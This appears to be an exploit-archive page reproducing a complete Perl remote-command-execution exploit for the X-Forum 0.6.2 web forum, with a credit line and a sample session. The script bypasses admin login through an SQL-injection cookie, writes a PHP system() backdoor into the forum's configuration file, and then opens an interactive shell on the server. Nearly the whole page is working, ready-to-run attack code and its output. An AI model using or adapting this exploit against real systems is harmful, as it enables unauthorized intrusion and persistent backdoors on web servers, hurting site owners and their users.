X-Forum 0.6.2 - Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
X-Forum 0.6.2 Remote Command Execution Exploit via Auth Bypass Cookie Handling. SQL Injections also presen

                                                #!/usr/bin/perl

# Web App: X-Forum 0.6.2
# Link   : http://freefr.dl.sourceforge.net/sourceforge/x-forum/xforum-0.6.2.tar.gz
# Bug    : Auth Bypass via Cookie Handling
#        : There are also other SQL Injections

# Remote Command Execution Exploit
# Credits to Giovanni Buzzin, &#34;Osirys&#34;
# Mail osirys[at]autistici[dot]org

# It logs in using an SQL Inj (AUTH BYPASS) via Cookie, then edits the configuration
# putting in it the backdoor. Needs the nick of the admin !

# ---------------------------------------------------------------------------
# Sploit
# ---------------------------------------------------------------------------
# osirys[~]&#62;$ perl spll.txt http://localhost/x-forum/xforum/ admin
#
#   ----------------------------
#        X-Forum RCE Exploit
#          Coded by Osirys
#   ----------------------------
#
# [*] Bypassing Admin Login with a evil cookie !
# [*] Admin Login Bypassed ..
# [*] Getting previous configuration ..
# [*] Previous configuration loaded ..
# [*] Overwriting .....
# [*] Configuration edited, backdoored !!
# [*] Shell succesfully spawned !!
# [:D Hi myLord, execute your commands !!
#
# shell[localhost]$&#62; id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$&#62; pwd
# /home/osirys/web/x-forum/xforum
# shell[localhost]$&#62; exit
# [-] Quitting ..
#
# osirys[~]&#62;$
#  ---------------------------------------------------------------------------

use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;

my $host  =  $ARGV[0];
my $user  =  $ARGV[1];
my $rce_p =  &#34;/Config.php?cmd=&#34;;
my @conf  =  ();

chomp($user);
$user =~ s/\%([A-Fa-f0-9]{2})/pack(&#39;C&#39;, hex($1))/seg;
$user =~ s/([^A-Za-z0-9])/sprintf(&#34;%%%02X&#34;, ord($1))/seg;

$cookie = &#34;cookie_username=&#34;.$user.&#34;&#39; or &#39;1=1; cookie_password=p0wa&#34;;

help(&#34;-1&#34;) unless (($host)&&($user));
cheek($host) == 1 || help(&#34;-2&#34;);
&banner;

$datas = get_data($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

print &#34;[*] Bypassing Admin Login with a evil cookie !\n&#34;;
socket_req(&#34;GET&#34;,$path.&#34;/Configure.php&#34;,$cookie,&#34;Manage Boards&#34;,1);
if ($gotcha == 1) {
    print &#34;[*] Admin Login Bypassed ..\n&#34;;
}
else {
    print &#34;[-] Bad admin&#39;s nick or site not vulnerable !\nn&#34;;
    exit(0);
}
print &#34;[*] Getting previous configuration ..\n&#34;;
socket_req(&#34;GET&#34;,$path.&#34;/Configure.php&#34;,$cookie,&#34;&#34;,2);

if (scalar(@conf) == 23) {
    print &#34;[*] Previous configuration loaded ..\n&#34;;
}
print &#34;[*] Overwriting .....\n&#34;;

my $post = &#34;serverName=&#34;.$conf[0].&#34;&userName=&#34;.$conf[1].&#34;&password=&#34;.$conf[2].&#34;&databaseName=&#34;.$conf[3].
           &#34;&iconsDir=&#34;.$conf[4].&#34;&buttonsDir=&#34;.$conf[5].&#34;&emailPassword=FALSE&uniqueEMail=TRUE&member&#34;.
           &#34;Level=0&memberStatus=1&memberGroup=1&threadStatus=1&postStatus=1&forumName=&#34;.$conf[6].&#34;&ic&#34;.
           &#34;onsPerRow=&#34;.$conf[7].&#34;&boardImage=&#34;. $conf[8].&#34;&boardImageNew=&#34;. $conf[9] .&#34;&categoryImage=&#34;
           .$conf[10] .&#34;&categoryImageNew=&#34; . $conf[11] .&#34;&threadImage=&#34;. $conf[12] . &#34;&threadImageNew=&#34;
           .$conf[13].&#34;&backColor=&#34;.$conf[14].&#34;&textColor=&#34;.$conf[15].&#34;&fontFace=&#34;.$conf[16].&#34;&linkCol&#34;.
           &#34;or=&#34;.$conf[17].&#34;&borderColor=&#34;. $conf[18].&#34;&titleColor=&#34;.$conf[19].&#34;&bodyColor=&#34;. $conf[20].
           &#34;&adminEMail=&#34;.$conf[21].&#34;%22%29%3Becho+%22sp4wn%3Cbr%3E%22%3Bsystem%28%24_GET%5Bcmd%5D%29%&#34;.
           &#34;3Bdefine%28%22p0wa%22%2C%22lol&logoutURL=&#34;.$conf[22].&#34;&submit=Update+Configuration&#34;;


$post =~ s/,/%2C/g;
$post =~ s/ /+/g;
$post =~ s/#/%23/g;
$post =~ s/@/%40/g;

socket_req(&#34;POST&#34;,$path.&#34;/SaveConfig.php&#34;,$cookie,$post,0,&#34;&#34;,1);

my $exec_url = ($host.$rce_p);
my $re = get_req($exec_url);
if ($re =~ /sp4wn/) {
    print &#34;[*] Configuration edited, backdoored !!\n[*] Shell succesfully spawned !!\n[:D Hi myLord, execute your commands !!\n\n&#34;;
    &exec_cmd;
}
else {
    print &#34;[-] Something wrong, sploit failed !\n\n&#34;;
    exit(0);
}

sub socket_req() {
    my($request,$path,$cookie,$content,$opt,$regexp,$sock_opt) = @_;
    my $stop;
    my $length = length($content);
    my $socket   =  new IO::Socket::INET(
                                            PeerAddr =&#62; $h0st,
                                            PeerPort =&#62; &#39;80&#39;,
                                            Proto    =&#62; &#39;tcp&#39;,
                                         ) or die $!;

    if ($sock_opt == 1) {
        $opt_1 = &#34;Referer: &#34;.$host.&#34;/Configure.php\r\n&#34;;
        $opt_2 = &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
    }
    else {
        $opt_1 = &#34;&#34;;
        $opt_2 = &#34;&#34;;
    }
    my $data = $request.&#34; &#34;.$path.&#34; HTTP/1.1\r\n&#34;.
               &#34;Host: &#34;.$h0st.&#34;\r\n&#34;.
               &#34;Keep-Alive: 300\r\n&#34;.
               &#34;Connection: keep-alive\r\n&#34;.
               $opt_1.
               &#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;.
               $opt_2.
               &#34;Content-Length: &#34;.$length.&#34;\r\n\r\n&#34;.
               $content.&#34;\r\n&#34;;

    $socket-&#62;send($data);
    while ((my $e = &#60;$socket&#62;)&&($stop != 1)) {
        if ($opt == 0) {
            $stop = 1;
        }
        elsif ($opt == 1) {
            if ($e =~ /$regexp/) {
                ($stop,$gotcha) = (1,1);
            }
        }
        elsif ($opt == 2) {
            get_previous_conf($e);
        }
    }
}

sub exec_cmd {
    $h0st !~ /www\./ || $h0st =~ s/www\.//;
    print &#34;shell[$h0st]\$&#62; &#34;;
    $cmd = &#60;STDIN&#62;;
    $cmd !~ /exit/ || die &#34;[-] Quitting ..\n\n&#34;;
    $exec_url = $host.$rce_p.$cmd;
    my $re = get_req($exec_url);
    my $content = tag($re);
    if ($content =~ m/sp4wn&#60;br&#62;(.+)/g) {
        my $out = $1;
        $out =~ s/\$/ /g;
        $out =~ s/\*/\n/g;
        chomp($out);
        print &#34;$out\n&#34;;
        &exec_cmd;
    }
    else {
        $c++;
        $cmd =~ s/\n//;
        print &#34;bash: &#34;.$cmd.&#34;: command not found\n&#34;;
        $c &#60; 3 || die &#34;[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n&#34;;
        &exec_cmd;
    }

}

sub get_req() {
    $link   = $_[0];
    my $req = HTTP::Request-&#62;new(GET =&#62; $link);
    my $ua  = LWP::UserAgent-&#62;new();
    $ua-&#62;timeout(4);
    my $response = $ua-&#62;request($req);
    return $response-&#62;content;
}

sub cheek() {
    my $host = $_[0];
    if ($host =~ /http:\/\/(.+)/) {
        return 1;
    }
    else {
        return 0;
    }
}

sub get_data() {
    my $host = $_[0];
    $host =~ /http:\/\/(.*)/;
    $s_host = $1;
    $s_host =~ /([a-z.]{1,30})\/(.*)/;
    ($h0st,$path) = ($1,$2);
    $h0st !~ /www/ || $h0st =~ s/www\.//;
    $path =~ s/(.*)/\/$1/;
    $full_det = $h0st.&#34; &#34;.$path;
    return $full_det;
}

sub get_previous_conf() {
    my $string = $_[0];
    if ($string =~ /name=&#34;serverName&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;userName&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;password&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;databaseName&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;iconsDir&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;buttonsDir&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;forumName&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;iconsPerRow&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;boardImage&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;boardImageNew&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;categoryImage&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;categoryImageNew&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;threadImage&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;threadImageNew&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;backColor&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;textColor&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;fontFace&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;linkColor&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;borderColor&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;titleColor&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;bodyColor&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;adminEMail&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
    elsif ($string =~ /name=&#34;logoutURL&#34; size=&#34;60&#34; value=&#34;(.+)&#34;&#62;/) {
        push(@conf,$1);
    }
}

sub tag() {
    my $string = $_[0];
    $string =~ s/ /\$/g;
    $string =~ s/\s/\*/g;
    return($string);
}

sub banner {
    print &#34;\n&#34;.
          &#34;  ---------------------------- \n&#34;.
          &#34;       X-Forum RCE Exploit     \n&#34;.
          &#34;         Coded by Osirys       \n&#34;.
          &#34;  ---------------------------- \n\n&#34;;
}

sub help() {
    my $error = $_[0];
    if ($error == -1) {
        &banner;
        print &#34;\n[-] Bad Input!\n&#34;;
    }
    elsif ($error == -2) {
        &banner;
        print &#34;\n[-] Bad hostname address !\n&#34;;
    }
    print &#34;[*] Usage : perl $0 http://hostname/cms_path admin_username\n&#34;;
    print &#34;    admin_username is the nick of the admin.\n\n&#34;;
    exit(0);
}

# milw0rm.com [2009-03-30]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1